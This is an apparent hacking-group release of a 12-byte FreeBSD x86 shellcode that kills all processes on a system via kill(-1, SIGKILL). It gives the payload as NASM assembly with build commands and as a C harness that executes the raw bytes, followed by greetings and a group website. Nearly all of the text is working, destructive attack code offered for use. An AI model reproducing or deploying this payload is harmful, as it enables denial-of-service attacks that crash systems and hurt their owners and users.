***(C)oDed bY suN8Hclf*** DaRk-CodeRs Group productions, kid [FreeBSD x86 kill all procesess 12 bytes shellcode] Compile: nasm -f elf code.asm ld -e _start -o code code.o Assembly code: ---------------------code.asm------------------- section .text global _start _start: xor eax, eax push byte 9 ; SIGKILL dec eax push eax ; -1 (0xffffffff) inc eax mov al, 37 ;kill() syscall number, check /usr/src/sys/kern/syscalls.master for details push eax int 0x80 ---------------------code.asm------------------- And C code: ---------------------code.c--------------------- #include char shellcode[]= "\x31\xc0\x6a\x09\x48\x50\x40\xb0\x25\x50\xcd\x80"; int main() { int (*func)(); func=(int (*)())shellcode; (int)(*func)(); } ---------------------code.c--------------------- Greetz: all DaRk-CodeRs guys, e.wiZz!, doctor Visit : www.dark-coders.pl